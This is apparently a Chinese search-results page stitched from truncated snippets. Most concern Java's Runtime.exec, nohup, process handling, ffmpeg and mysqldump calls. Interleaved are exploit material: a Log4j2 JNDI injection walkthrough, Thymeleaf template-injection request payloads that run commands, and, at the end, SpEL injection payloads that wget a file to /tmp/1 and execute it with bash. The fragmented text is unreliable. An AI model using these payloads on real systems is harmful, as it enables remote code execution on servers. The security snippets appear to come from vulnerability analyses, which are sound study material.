主要使用了 Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", cmd}); 调用shell命令的工具类: public static..., 返回一个子进程对象(命令在子进程中执行)使用这种方式可以使用|管道符命令 process = Runtime.getRuntime().exec(new String[]{"...); } cmd = "nohup " + java + " -jar " + myjarDir + JAR_NAME + " > " + myjarDir + "myjar.log...return new ResponseVo(); } 重点是Java启动的process,不能直接执行java、jps等命令,也获取不到环境变量,会报command not found 于是我使用来...System.getProperty("java.home") 来获取到执行当前程序的Java路径,再把jre目录替换为jdk目录,使用jdk目录下bin目录中的java及jps命令,可以达到需求 另外需要注意命令字符串中的空格很重要
点击启动:并且读取启动日志 ? 点击停止: ? 上面脚本停止 图画说明: 通过访问--》调用java代码--》启动shell命令--》启动jmeter-获取启动日志 ?...; import java.io.File; import java.io.InputStream; import java.io.InputStreamReader; import java.util.Date...("输出日志:--》{}",s); return s; } } 工具类 /** * 直接执行命令 * * @param cmd */ public static void...execCmd(String cmd) { try { Runtime rt = Runtime.getRuntime(); Process proc = rt.exec...上面存在的问题: 上面deme中还是一个问题没有解决就是在页面实时参看日志,目前还没实现,不过总体上实现自己想的功能。
@toc背景说明我们项目要java执行命令“dmidecode -s system-uuid”获取结果,然而碰到问题,当项目一直执行好久后,Runtime.getRuntime().exec()获取结果为空...Runtime.getRuntime().exec()执行JVM之外的程序:常见的几种陷阱前言日常java开发中,有时需要通过java运行其它应用功程序,比如shell命令等。...Runtime.exec()常见的几种陷阱以及避免方法陷阱1:IllegalThreadStateException通过exec执行java命令为例子,最简单的方式如下。...windows平台上运行dir命令,如果直接指定命令参数为dir,会提示命令找不到。...例如,下面的例子Process process = runtime.exec("java -version > a.txt");这样并不会产出a.txt文件。
场景1:分布式环境中,一般会有很多应用(即包括c/s的java application,又有b/s的web application)部署在不同的环境中,为了管理方便,通常会把一些公用的配置,比如:报警发邮件用的邮箱账号...二、java application的重启 网上的样例代码: Runtime.getRuntime().addShutdownHook(new Thread() { public void run...() { try { String restartCmd = "nohup java -jar xxx.jar"; Thread.sleep...{ Process process = Runtime.getRuntime().exec(command); BufferedReader reader...jps() { return exec("jps -l"); } } b) java -jar xxx.jar 这里也不太好,一是xxx.jar是字符串,编译期发现不了错误,
=100M,限制GC日志文件大小为100M。...NumberOfGCLogFiles=10,允许存在的GC日志文件数量为10个。...注意nohup命令本身并没有后台运行的功能,需要配合&使用。它的实现原理是让命令不间断的运行实现挂机的效果。...> /opt/file.log 2>&1 上面的命令含义是放在crontab中的定时任务,每天9:00启动这个python的脚本,并把执行结果写入日志文件file.log中 exec 运行 如果不是守护进程的执行...在Linux系统当中进行JAVA进程调试可以使用下面的命令。对于我们来说这些写法照着写就行,不需要过分追究具体的含义。
解析输入的JSP文件转成Java代码文件 使用ToolProvider获得JavaCompiler动态编译Java代码 编译后得到的字节码用ASM进行分析 基于ASM模拟栈帧的变化实现污点分析 类似之前写的工具..."); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex = rt.getMethod..."); java.lang.reflect.Method gr = rt.getMethod("getRuntime"); java.lang.reflect.Method ex...的代码,该类构造了Operand Stack和Local Variables Array并模拟操作 在用ASM技术解析class文件的时候,模拟他们在JVM中执行的过程,实现数据流分析 使用代码模拟两大数据结构.../lang/Object; 第一步的INVOKEVIRTUAL只是得到了Runtime对象 第二步的INVOKEVIRTUAL才是exec(obj,cmd)执行命令的代码 所以我们重点从第二步分析
第二步:目标服务器收到重定向请求之后,下载恶意 class 并执行其中的代码,从而执行系统命令。 靶场搭建 在进行漏洞测试之前,首先部署一个漏洞靶场供测试之用。...命令会作为参数传入 Runtime.getRuntime().exec(),所以需要确保命令传入 exec() 方法可执行。...bash 等可在 shell 直接执行的相关命令需要加双引号,比如说 java -jar JNDI.jar -C "bash -c ..." 3、根据 cmd 日志拼接 log4j2 打印的日志 由控制台打印的日志可知...日志,弹出计算器 方法二:根据 jndi 注入原理自己编写 1、在 java 下新建 exp 包 2、在 exp 下新建需要被注入的类 package exp; import javax.lang.model.element.Name...,文件中增加配置“log4j2.formatMsgNoLookups=true” 写后感 没想到我会因为一句 logger.error 写这么多,其实如果是其它级别的日志只要能打印应该也是可以利用,至于什么级别的打印其实是可以自己配置的
我们都知道,kill在linux系统中是用于杀死进程。 kill pid [..] kill命令可将指定的信号发送给相应的进程或工作。kill命令默认使用信号为15,用于结束进程或工作。...而使用-3参数,可以 打印进程的执行日志 kill -3 pid 在Java中的应用 创建一个SpringBoot的web应用 启动类如下,添加了一个钩子函数,当进程关闭时,将会调用该钩子函数。...如果使用以下方式启动应用 nohup java -jar ~/aProject/web/target/web-1.0.jar & lgj@lgj-Lenovo-G470:~/aProject/web/target...$ ls -l |grep nohup.out -rw------- 1 lgj lgj 22811 Jun 9 00:41 nohup.out 可以看到启动所在的目录多了一个文件nohup.out。...该文件记录了应用启动运行过程中的日志。 nohup 命令 & ; 表示以后台方式运行应用。 此时使用kill -3。打印的线程信息可以到该nohup.out中查看。
最近因为需要做视频文件转换,在网上找了下,比较多的推荐是使用ffmpeg来实现,于是准备在java语言的基础上去实现,经过分析其实就是调用ffmpeg提供的应用命令去完成。...ffmpeg -i input.mp4 output.avi 在java中调用外部应用一般都会使用 Runtime.getRuntime().exec(); 以前其实也使用过,但是没有过深入的研究,在使用是发现也会有各种无法预料的问题出现...,简单的调用过程如下: Process p = Runtime.getRuntime().exec("ffmpeg -i .....\bin"): CreateProcess error=2, 系统找不到指定的文件。...by: java.io.IOException: CreateProcess error=2, 系统找不到指定的文件。
思路如下:先用UiAutomator编写好运行脚本,然后在使用快速调试的时候把调试命令输出出来,然后在测试脚本中运行这个调试命令即可,当然还需要多线程来辅助记录log和性能数据。...多线程类代码如下: package monkeytest; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStream...; import java.io.InputStreamReader; import java.text.SimpleDateFormat; import java.util.Date; import...* * @param cmd * 命令内容 * @param fileName * 输入文件路径...().exec(ADB_PATH + cmd); } else { p = Runtime.getRuntime().exec("cmd /c "
java.io.FileOutputStream; import java.io.InputStream; import java.io.InputStreamReader; import java.io.OutputStreamWriter...; import java.text.SimpleDateFormat; import java.util.Date; import java.util.HashMap; import java.util.List...; import java.util.Map; import javax.annotation.Resource; import org.apache.log4j.Logger; import org.springframework.context.annotation.Scope...这里必须是utf8 // 把进程执行中的控制台输出信息写入.sql文件,即生成了备份文件。...这里必须是utf8 // 把进程执行中的控制台输出信息写入.sql文件,即生成了备份文件。
在本地调试agent相关功能,需要经常性的杀掉Java进程,验证一些极端情况。...public static void main(String[] args) { SpringApplication.run(Server.class); Runtime.getRuntime...-jar ~/project/web/target/demo-1.0.jar 也可以加上nohup + &启动 nohup java -jar ~/project/web/target/demo-1.0....jar & 通过后者启动,可以看到启动所在的目录多了一个文件nohup.out,该文件记录了应用启动运行过程中的日志。...nohup + &也是以后台方式运行应用,但是退出关闭启动的控制台,进程不会停止,且进程日志将会输出到nohup.out中。 kill -3 通过执行jps 拿到对应的pid ?
* * @param cmd * 命令内容 * @param fileName * 输入文件路径 * @param filter...().exec(Common.ADB_PATH + cmd); } else { p = Runtime.getRuntime().exec("cmd /c " + cmd); }...().exec(Common.ADB_PATH + cmd); } else { Runtime.getRuntime().exec("cmd /c " + cmd); } }...* * @param cmd * 命令内容 * @param fileName * 输入文件路径 * @param filter...().exec(Common.ADB_PATH + cmd); } else { Runtime.getRuntime().exec("cmd /c " + cmd);
(); /** * 这是在windows下使用得数据备份命令:C:/Program Files/MySQL/MySQL Server 5.7/bin/mysqldump...("备份数据得命令:" + command); Process child = rt.exec(command); inputStream = child.getInputStream..." + user + " -p" + password + " --default-character-set=utf8 " + db; Process child = rt.exec...; import java.io.IOException; import java.time.LocalDate; import java.time.LocalDateTime; import java.util.Date...在启动类上增加注解 @EnableScheduling
通过dubbo配置文件配置或者java启动命令-D配置 找不到则加载 DEFAULT_SPRING_CONFIG public static final String DEFAULT_SPRING_CONFIG...= "classpath*:META-INF/spring/*.xml";//spring相关配置文件默认存放位置 private static final Logger logger = LoggerFactory.getLogger...log, 一般 通过实现Container接口,自定义加载配置文件,slf4j接口使用日志。...; import java.util.Arrays; import java.util.Date; /** * DubboServer */ public class DubboServer implements...("Use container type(" + Arrays.toString(args) + ") to run dubbo serivce."); Runtime.getRuntime
二 、如何构造payload 通过**${}**::.x构造表达式会由Thymeleaf去执行 __$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime...(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__::.x HTTP/1.1 Host:...lang=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream(...section=__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream...白盒审计: a.模板参数外部可控:这个很难写出真正意义上的漏洞匹配的正则.我在日常的代码审计过程中这样的 1 查看所有的模板文件名称 假设index.html开始; 2 正则搜索控制器return.
原来脚本: // 拼接Shell命令,脚本的绝对路径 String shell=qSchoolPath + "/login.sh"; // 执行登录 Process process = Runtime.getRuntime...(qSchoolPath+"/a.txt"); Process ps=Runtime.getRuntime().exec(new String[]{"/home/save.sh",result}); ps.waitFor...(); 在执行登录操作之后就可以在test.txt文件中看到Cookie身份令牌。...③ Java调用sh脚本 这里就又涉及到一个知识点,如何才能通过Java执行sh脚本,或者是执行Shell命令。.../xxx.sh param命令,在脚本内可通过1来获取参数,以此类推,0是执行的文件名。
获取当前jvm数据 import java.io.InputStreamReader; import java.io.LineNumberReader; import java.lang.management.ManagementFactory...("Java 虚拟机试图使用的最大内存量(当前JVM的最大可用内存) maxMemory(): " + max + "MB"); logger.info("Java 虚拟机中的内存总量...freeMemory(): " + free + "MB"); logger.info("因为JVM只有在需要内存时才占用物理内存使用,所以freeMemory()的值一般情况下都很小...().exec(procCmd)); Thread.sleep(CPUTIME); long[] c1 = readCpu(Runtime.getRuntime...().exec(procCmd)); if (c0 !
response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(119).concat(T(...response_type=${T(java.lang.Runtime).getRuntime().exec(T(java.lang.Character).toString(98).concat(T(java.lang.Character...(new byte[]{xxxxxx})中,所以需要对bash命令转成十进制编码 使用python进行编码处理,在python中转十进制的方法为",".join(map(str, (map(ord,"命令...username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/1 http...shell username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/1")]=111&
领取专属 10元无门槛券
手把手带您无忧上云